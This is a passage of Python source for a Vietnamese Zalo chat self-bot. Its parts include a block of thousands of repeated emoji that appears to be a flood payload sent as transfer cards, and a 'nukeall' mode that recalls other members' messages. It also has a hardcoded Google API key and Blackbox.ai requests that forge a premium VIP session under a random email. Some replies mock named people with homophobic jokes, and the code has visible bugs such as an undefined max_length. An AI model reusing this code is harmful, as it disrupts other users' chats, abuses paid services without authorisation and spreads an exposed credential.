🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n30/06/2011", binBank=binBank)
				# print(cc)
				# self.SendTransferCard(thread_id=thread_id, thread_type=thread_type,nameAccBank="TahnDev", numAccBank="TahnDev🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏", binBank=binBank)
				if cc.error_code == 0:
					break
				else:
					binBank = random.choice(self.dataBinBank)
			self.lmaoFunction = True
		elif message.startswith != (self.prefix + f"nukeall") and message != self.prefix + f"nukeall" and self.nuke == True:
			if author_id not in self.selfid and message:
				if self.bb1 != author_id and self.bb != author_id and thread_id != "6944611442960756643" and message != "anh tuan dep zai":
					self.undoMessage(msgId=message_object.msgId, cliMsgId=message_object.cliMsgId, thread_id=thread_id, thread_type=thread_type)
		elif message == self.prefix + f"nukeall" and self.nuke == False:
			noquyen = f"Bạn không có quyền để thực hiện điều này!"
			style_error = MultiMsgStyle([MessageStyle(offset=0, length=3000, style="font", size="13", auto_format=False), MessageStyle(offset=0, length=3000, style="color", color="#cdd6f4", auto_format=False)])
			if author_id not in self.selfid:
				self.sendReaction(msgId=message_object.msgId, clientMsgId=message_object.cliMsgId, reactionIcon='😅', thread_id=thread_id, thread_type=thread_type)
				self.replyMessage(Message(text=noquyen, style=style_error),message_object, thread_id=thread_id, thread_type=thread_type)
				return
			self.sendReaction(msgId=message_object.msgId, clientMsgId=message_object.cliMsgId, reactionIcon='😈', thread_id=thread_id, thread_type=thread_type)
			self.replyMessage(Message(text="done"),message_object, thread_id=thread_id, thread_type=thread_type)
			self.nuke = True
		elif message == self.prefix + f"nukeall" and self.nuke == True:
			noquyen = f"Bạn không có quyền để thực hiện điều này!"
			style_error = MultiMsgStyle([MessageStyle(offset=0, length=3000, style="font", size="13", auto_format=False), MessageStyle(offset=0, length=3000, style="color", color="#cdd6f4", auto_format=False)])
			if author_id not in self.selfid:
				self.sendReaction(msgId=message_object.msgId, clientMsgId=message_object.cliMsgId, reactionIcon='😅', thread_id=thread_id, thread_type=thread_type)
				self.replyMessage(Message(text=noquyen, style=style_error),message_object, thread_id=thread_id, thread_type=thread_type)
				return
			self.sendReaction(msgId=message_object.msgId, clientMsgId=message_object.cliMsgId, reactionIcon='✨', thread_id=thread_id, thread_type=thread_type)
			self.replyMessage(Message(text="nuke box is offline"),message_object, thread_id=thread_id, thread_type=thread_type)
			self.nuke = False
			return
		elif message.startswith(self.prefix + f"getuid"):
			uidmention = message_object.mentions
			color = MessageStyle(style="color", color="cdd6f4", offset=0, length=3000, auto_format=False)
			smallfont = MessageStyle(style="font", size="13", offset=0, length=3000, auto_format=False)
			style = MultiMsgStyle([color, smallfont])
			self.replyMessage(
				Message(
					text=str(uidmention), style=style
				),
				message_object,
				thread_id=thread_id,
				thread_type=thread_type
			)
		elif message == self.prefix + f"ask trường có bị gay không?":
			self.replyMessage(Message(text="CHAT BOT:\nCó"), message_object, thread_id=thread_id, thread_type=thread_type
			)
		elif message == self.prefix + f"ask hoàng có gay không":
			self.replyMessage(Message(text="CHAT BOT:\nCó"), message_object, thread_id=thread_id, thread_type=thread_type
			)
		elif message.startswith(self.prefix + f"gpt"):
			noidungchatgpt = message.replace(self.prefix + f"gpt", "").strip()
			content = self.gpt(noidungchatgpt)
			print(content)
			while len(content) > 0:
				chunk = content[:3000]
				self.replyMessage(Message(text=str(chunk)), message_object, thread_id, thread_type)
				content = content[max_length:]

		elif message.startswith(self.prefix + f"blbx-token"):
			if author_id not in self.selfid:
				return
			try:
				noidungchatgpt = message.replace(self.prefix + f"blbx-token", "").strip()
				self.tokenGpt.append({
					"content": str(noidungchatgpt),
					"role": "user"
				})
				headers = {
					"Host": "www.blackbox.ai",
					"content-length": "7862",
					"sec-ch-ua": "\"Not-A.Brand\";v\u003d\"99\", \"Chromium\";v\u003d\"124\"",
					"sec-ch-ua-platform": "\"Linux\"",
					"sec-ch-ua-mobile": "?0",
					"user-agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36",
					"content-type": "application/json",
					"accept": "*/*",
					"origin": "https://www.blackbox.ai",
					"sec-fetch-site": "same-origin",
					"sec-fetch-mode": "cors",
					"sec-fetch-dest": "empty",
					"referer": "https://www.blackbox.ai/chat/NDyJMzT",
					"accept-encoding": "gzip, deflate, br",
					"accept-language": "vi-VN,vi;q\u003d0.9,fr-FR;q\u003d0.8,fr;q\u003d0.7,en-US;q\u003d0.6,en;q\u003d0.5"
				}
				datta = {
					"messages": self.tokenGpt,
					"id": "NDyJMzT",
					"previewToken": None,
					"userId": None,
					"codeModelMode": True,
					"agentMode": {},
					"trendingAgentMode": {},
					"isMicMode": False,
					"maxTokens": 1024,
					"playgroundTopP": None,
					"playgroundTemperature": None,
					"isChromeExt": False,
					"githubToken": None,
					"clickedAnswer2": False,
					"clickedAnswer3": False,
					"clickedForceWebSearch": False,
					"visitFromDelta": False,
					"mobileClient": False,
					"userSelectedModel": None,
					"validated": "00f37b34-a166-4efb-bce5-1312d87f2f94"
				}
				url = "https://www.blackbox.ai/api/chat"
				response = self._session.post(url, json=datta, headers=headers)

				content_encoding = response.headers.get('content-encoding')
				if content_encoding:
					try:
						response_text = self.giaima(response.content, content_encoding)
					except Exception as e:
						pass    
						response_text = response.text
				else:
					response_text = response.text


				ttext = "CHAT BOT:\n"
				noidung = response_text
				noidung = noidung.replace("$@$v=undefined-rv1$@$", "")
				self.tokenGpt.append({
					"role": "assistant",
					"content": noidung
				})
				print(self.tokenGpt)
				if noidung.startswith("![Generated Image]("):
					bruh = noidung.replace("![Generated Image](", "")
					anh = bruh.replace(")", "")
					self.sendImage(imagelink=anh, thread_id=thread_id, thread_type=thread_type)
				else:
					max_length = 3000
					while len(noidung) > 0:
						chunk = noidung[:max_length]
						self.replyMessage(Message(text=str(chunk)), message_object, thread_id, thread_type)
						noidung = noidung[max_length:]
			except Exception as e:
				self.replyMessage(Message(text=str(e)), message_object, thread_id, thread_type)
		elif message.startswith(self.prefix + f"ask"):
			noidungchatgpt = message.replace(self.prefix + f"ask", "").strip()
			content = rs(noidungchatgpt)
			while len(content) > 0:
				chunk = content[:3000]
				self.replyMessage(Message(text=str(chunk)), message_object, thread_id, thread_type)
				content = content[max_length:]
		elif message.startswith(self.prefix + f"gem"):
			noidungchatgpt = message.replace(self.prefix + f"gem", "").strip()
			headers = {"Content-Type": "application/json"}
			payload = {
				"contents": [
					{
						"parts": [
							{
								"text": noidungchatgpt
							}
						]
					}
				]
			}
			response = requests.post("https://generativelanguage.googleapis.com/v1beta/models/gemini-1.5-flash:generateContent?key=AIzaSyDZvi8G_tnMUx7loUu51XYBt3t9eAQQLYo", headers=headers, json=payload)
			content = response.json()['candidates'][0]['content']['parts'][0]['text']
			while len(content) > 0:
				chunk = content[:3000]
				self.replyMessage(Message(text=str(chunk)), message_object, thread_id, thread_type)
				content = content[max_length:]
		elif message.startswith(self.prefix + f"blbx"):

			try:
				noidungchatgpt = message.replace(self.prefix + f"blbx", "").strip()
				if message_object.quote:
					quote_attach = json.loads(message_object['quote']['attach'])
					href = quote_attach.get('href')
					gay = href.replace("\\", "")
					if "jxl" in gay:
						gay = gay.replace("jxl", "jpg")
						data = base64.b64encode(self._session.get(gay).content)
						self.tokenGpt.append({
							"content": str(noidungchatgpt),
							"role": "user",
							"data": {
								"imagesData": [{
									"filePath": "MultipleFiles/1734431719533_314614144.jpg", 
									"contents": f"data:image/jpeg;base64,{data.decode()}"
								}], 
								"fileText": "", 
								"title": "" 
							}
						})
					else:
						fileName = json.loads(message_object.quote.attach).get("title")
						url = json.loads(message_object.quote.attach).get("href").replace("\\", "")
						data = self._session.get(url).content
						self.tokenGpt.append({
							"content": str(noidungchatgpt),
							"role": "user",
							"data": {
								"fileText": f"FileName: MultipleFiles/{fileName}\nFileContents: {data}"
							}
						})
				else:
					self.tokenGpt.append({
						"content": str(noidungchatgpt),
						"role": "user"
					})
				headers = {
					"Host": "www.blackbox.ai",
					"content-length": "7862",
					"sec-ch-ua": "\"Not-A.Brand\";v\u003d\"99\", \"Chromium\";v\u003d\"124\"",
					"sec-ch-ua-platform": "\"Linux\"",
					"sec-ch-ua-mobile": "?0",
					"user-agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36",
					"content-type": "application/json",
					"accept": "*/*",
					"origin": "https://www.blackbox.ai",
					"sec-fetch-site": "same-origin",
					"sec-fetch-mode": "cors",
					"sec-fetch-dest": "empty",
					"referer": "https://www.blackbox.ai/chat/NDyJMzT",
					"accept-encoding": "gzip, deflate, br",
					"accept-language": "vi-VN,vi;q\u003d0.9,fr-FR;q\u003d0.8,fr;q\u003d0.7,en-US;q\u003d0.6,en;q\u003d0.5"
				}
				email = generate_random_gmail()
				datta = {
					"messages": self.tokenGpt,
					"id": "RsY2uaH",
					"previewToken": None,
					"userId": None,
					"codeModelMode": True,
					"trendingAgentMode": {},
					"isMicMode": False,
					"userSystemPrompt": None,
					"maxTokens": 9999,
					"playgroundTopP": None,
					"playgroundTemperature": None,
					"isChromeExt": False,
					"githubToken": "",
					"clickedAnswer2": False,
					"clickedAnswer3": False,
					"clickedForceWebSearch": False,
					"visitFromDelta": False,
					"isMemoryEnabled": False,
					"mobileClient": False,
					"userSelectedModel": None,
					"userSelectedAgent": "VscodeAgent",
					"validated": "a38f5889-8fef-46d4-8ede-bf4668b6a9bb",
					"imageGenerationMode": False,
					"imageGenMode": "autoMode",
					"webSearchModePrompt": True,
					"deepSearchMode": True,
					"promptSelection": "chat",
					"domains": None,
					"vscodeClient": False,
					"codeInterpreterMode": False,
					"customProfile": {
						"name": "",
						"occupation": "",
						"traits": [],
						"additionalInfo": "",
						"enableNewChats": False
					},
					"webSearchModeOption": {
						"autoMode": True,
						"webMode": True,
						"offlineMode": False
					},
					"session": {
						"user": {
							"name": "dditj me may",
							"email": email,
							"image": "https://lh3.googleusercontent.com/a/ACg8ocIjiRwt1IE6fbCErYfdSM7ugoKv2ABQE-vV12_tafBV2rikP8Y\u003ds96-c",
							"id": "c0371d96-1168-42ea-b258-8c44f85af069"
						},
						"expires": "2025-10-10T15:37:52.186Z",
						"isNewUser": False
					},
					"isPremium": True,
					"subscriptionCache": {
						"status": "VIP",
						"expiryTimestamp": None,
						"lastChecked": 1757518634985,
						"isTrialSubscription": False,
						"hasPaymentVerificationFailure": False,
						"verificationFailureTimestamp": None,
						"requiresAuthentication": False
					},
					"beastMode": True,
					"reasoningMode": True,
					"designerMode": True,
					"workspaceId": "",
					"asyncMode": False,
					"integrations": {},
					"isTaskPersistent": False,
					"selectedElement": None
				}
				# data = {
					# "codeModelMode": True, 
					# "trendingAgentMode": {}, 
					# "isMicMode": false, 
					# "userSystemPrompt": null, 
					# "maxTokens": 1024, 
					# "playgroundTopP": null, 
					# "playgroundTemperature": null, 
					# "isChromeExt": false, 
					# "githubToken": "", 
					# "clickedAnswer2": false,
					# "clickedAnswer3": false,
					# "clickedForceWebSearch": false,
					# "visitFromDelta": false,
					# "isMemoryEnabled": false,
					# "mobileClient": false,
					# "userSelectedModel": null,
					# "validated": "00f37b34-a166-4efb-bce5-1312d87f2f94", 
					# "imageGenerationMode": false, 
					# "webSearchModePrompt": false, 
					# "deepSearchMode": false, 
					# "domains": null, 
					# "vscodeClient": false, 
					# "codeInterpreterMode": false, 
					# "isPremium":false, 
					# "beastMode":false, 
					# "reasoningMode":false, 
					# "designerMode":false
				url = "https://www.blackbox.ai/api/chat"
				response = self._session.post(url, json=datta, headers=headers)
				# print(response.content)
				# print(response.status_code)
				content_encoding = response.headers.get('content-encoding')
				if content_encoding:
					try:
						response_text = self.giaima(response.content, content_encoding)
					except Exception as e:
						pass    
						response_text = response.text
				else:
					response_text = response.text

				# print(response_text)
				if message_object.quote:
					quote_attach = json.loads(message_object['quote']['attach'])
					href = quote_attach.get('href')
					gay = href.replace("\\", "")
					if "jxl" in gay:
						gay = gay.replace("jxl", "jpg")
						data = base64.b64encode(self._session.get(gay).content)
						self.tokenGpt.remove({
							"content": str(noidungchatgpt),
							"role": "user",
							"data": {
								"imagesData": [{
									"filePath": "MultipleFiles/1734431719533_314614144.jpg", 
									"contents": f"data:image/jpeg;base64,{data.decode()}"
								}], 
								"fileText": "", 
								"title": "" 
							}
						})
					else:
						fileName = json.loads(message_object.quote.attach).get("title")
						url = json.loads(message_object.quote.attach).get("href").replace("\\", "")
						data = self._session.get(url).content
						self.tokenGpt.remove({
							"content": str(noidungchatgpt),
							"role": "user",
							"data": {
								"fileText": f"FileName: MultipleFiles/{fileName}\nFileContents: {data}"
							}
						})
				else:
					self.tokenGpt.remove({
						"content": str(noidungchatgpt),
						"role": "user"
					})

				ttext = "CHAT BOT:\n"
				index = response_text.find("$~~~$", 30)
				if index != -1:
					noidung = response_text[int(index + len("$~~~$")):]
				else:
					noidung = response_text
				noidung = noidung.replace("$~~~$[]$~~~$", "").strip()
				noidung = noidung.replace("$@$v=undefined-rv1$@$", "")
